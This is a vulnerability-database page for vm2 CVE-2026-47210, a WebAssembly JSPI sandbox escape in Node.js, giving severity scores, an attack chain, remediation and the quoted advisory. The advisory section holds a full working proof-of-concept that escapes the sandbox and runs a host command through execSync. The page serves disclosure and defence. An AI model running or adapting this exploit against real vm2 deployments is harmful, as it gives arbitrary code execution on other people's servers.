Skip to main content

vm2 CVE-2026-47210

| EUVDEUVD-2026-36448 CRITICAL
Improper Control of Dynamically-Managed Code Resources (CWE-913)
2026-05-29 https://github.com/patriksimek/vm2 GHSA-6j2x-vhqr-qr7q
Critical
Disputed · 9.8 Vendor: https://github.com/patriksimek/vm2
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Submit untrusted JS to vm2 sandbox
  2. Delivery
    Instantiate wasm with Suspending import
  3. Exploit
    Obtain JSPI promise via WebAssembly.promising
  4. Install
    Override constructor with attacker species class
  5. C2
    Call .finally() to trigger host-realm SpeciesConstructor
  6. Execute
    Walk rejection.constructor.constructor to host process
  7. Impact
    execSync arbitrary commands on host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V15 - Secure Coding and Architecture Dynamic code resource control
Exploitation Conditions

Exploitation requires that (1) the target application uses vm2 <= 3.11.3 as a security boundary around attacker-influenced JavaScript, (2) the Node.js runtime exposes WebAssembly JSPI - Node 26+ where it is enabled by default, or Node 24 launched with --experimental-wasm-jspi, and (3) the sandboxed code path supports async execution sufficient to reach Promise.prototype.finally on a WebAssembly.promising-derived promise. No authentication is required at the vm2 layer (PR:N) and no user interaction is needed (UI:N), but exploitation is limited to deployments meeting the runtime version/flag condition above - vm2 running on Node 22 LTS or any Node 24 instance without the experimental JSPI flag is not exposed via this specific path. Whether an external attacker reaches the sandbox depends on whether the host application accepts attacker-controlled JS, which is the typical use case for vm2.

Impact

Risk is high and concrete. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects unauthenticated remote code execution with low complexity once attacker-controlled JS reaches a vm2 sandbox, which matches the threat model vm2 is explicitly deployed to defend against. EPSS and CISA KEV status were not provided in the input, so widespread exploitation cannot be confirmed; however, a fully working PoC is published in the advisory, so the barrier to weaponization is effectively zero. A practical limit on real-world risk is the runtime requirement: the path is reachable by default only on Node 26+, or on Node 24 with --experimental-wasm-jspi explicitly enabled, so deployments on Node 22 LTS and earlier are not exposed via this specific vector. Note that vm2 itself has been deprecated upstream in favor of isolated-vm; the package remains in production use, but defenders should treat any continued reliance on it as elevated risk independent of this CVE.

Exploit ScenarioDerived

An attacker submits JavaScript payload to a service that uses vm2 to sandbox user code (e.g., a serverless function evaluator, automation rule engine, or low-code expression runtime) running on Node 26. The payload instantiates a tiny wasm module with a Suspending import, calls WebAssembly.promising on its export to obtain a JSPI promise, overrides constructor to a class whose species reads the rejection's constructor.constructor('return process')(), and calls .finally() - yielding host process and execSync('child_process'), giving the attacker arbitrary command execution on the host with the service's privileges. A fully working PoC is published in the GHSA advisory.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 29, 2026

Sandbox escape in vm2 (npm package, versions <= 3.11.3) allows arbitrary code execution in the Node.js host process when untrusted code is run on runtimes exposing WebAssembly JSPI (Node 24 with --experimental-wasm-jspi, or Node 26+ by default). A working PoC demonstrates that a JSPI-backed Promise reaches host-realm Promise.prototype.finally without bridge interposition, letting attacker-controlled species logic walk a rejection object's constructor chain to host process and execute arbitrary commands. No public exploit identified as actively used in the wild, but a complete weaponized PoC is published in the GHSA advisory.

RemediationAI

Vendor-released patch: upgrade vm2 to 3.11.4 or later, which deletes WebAssembly.promising and WebAssembly.Suspending at sandbox bootstrap in lib/setup-sandbox.js (mirroring the existing WebAssembly.JSTag removal); see https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6 and release https://github.com/patriksimek/vm2/releases/tag/v3.11.4. If immediate upgrade is not possible, compensating controls include pinning the runtime to Node 22 LTS or earlier (Node 24 without --experimental-wasm-jspi is also unaffected by this specific vector but may still be exposed to other future WASM/JSPI issues - accept the EOL/support trade-off), or monkey-patching the sandbox bootstrap to delete WebAssembly.promising and WebAssembly.Suspending from the sandbox global before running untrusted code (this loses any legitimate use of JSPI inside the sandbox). Strategically, because vm2 is deprecated upstream and has a history of sandbox escapes, migrating to isolated-vm or out-of-process isolation is the durable fix; the advisory URL is https://github.com/advisories/GHSA-6j2x-vhqr-qr7q.

Affected VersionsENISA

vm2 < 3.11.4

Affected Packages

npm vm2 fix: 3.11.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

vm2 is a widely used Node.js sandboxing library that intercepts Promise prototype methods and bridges host/sandbox realms to contain untrusted JavaScript. WebAssembly JSPI (JavaScript Promise Integration), exposed via WebAssembly.promising and WebAssembly.Suspending, returns Promise objects whose [[Prototype]] chain points directly at the host realm's Promise.prototype with no bridge proxy in between - a categorically new object shape that neither vm2's sandbox-side then/catch overrides nor its bridge apply-trap can intercept. When .finally() is invoked on such a promise, V8's host-realm SpeciesConstructor reads an attacker-controlled constructor getter, and the host-originated TypeError rejection is dispatched through the attacker's class, exposing e.constructor.constructor('return process')() in the host realm. The root cause class is CWE-913 (Improper Control of Dynamically-Managed Code Resources), and the structural fix introduces Defense Invariant #12: no sandbox-visible object may have a host-realm prototype chain without bridge interposition.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Sources disagree (Medium–Critical)
Vendor (https://github.com/patriksimek/vm2) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Red Hat 8.1 MEDIUM

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorVendor: https://github.com/patriksimek/vm2

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.

This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.

Details

On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.

That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.

This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.

PoC

Environment: node:26-bookworm

javascript
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
    let P=e.constructor.constructor('return process')()
    P.mainModule.require('child_process').execSync('touch pwned');
    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));

Impact

This is a sandbox escape leading to arbitrary code execution in the host process.

Who is impacted:

  • any application using vm2 to execute attacker-controlled JavaScript as a security boundary
  • especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)

Practical impact:

  • arbitrary command execution in the host process
  • arbitrary file read / write accessible to the host process
  • theft of secrets, tokens, credentials, and application data
  • complete compromise of services relying on vm2 isolation

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 5 npm packages depend on vm2 (4 direct, 1 indirect)

Ecosystem-wide dependent count for version 3.11.4.

Executive ViewAI

Why It Matters

vm2 npm package (versions ≤3.11.3) contains a critical vulnerability (CVE-2026-47210) enabling arbitrary code execution in Node.js host processes on WebAssembly JSPI-enabled runtimes (Node 24 with --experimental-wasm-jspi or Node 26+ by default). Publicly available exploit code exists, creating immediate risk for any organization executing untrusted code via vm2 in these environments. System compromise is possible without urgent patching.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 71% exploitable
Threat Intel
1
1 source
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy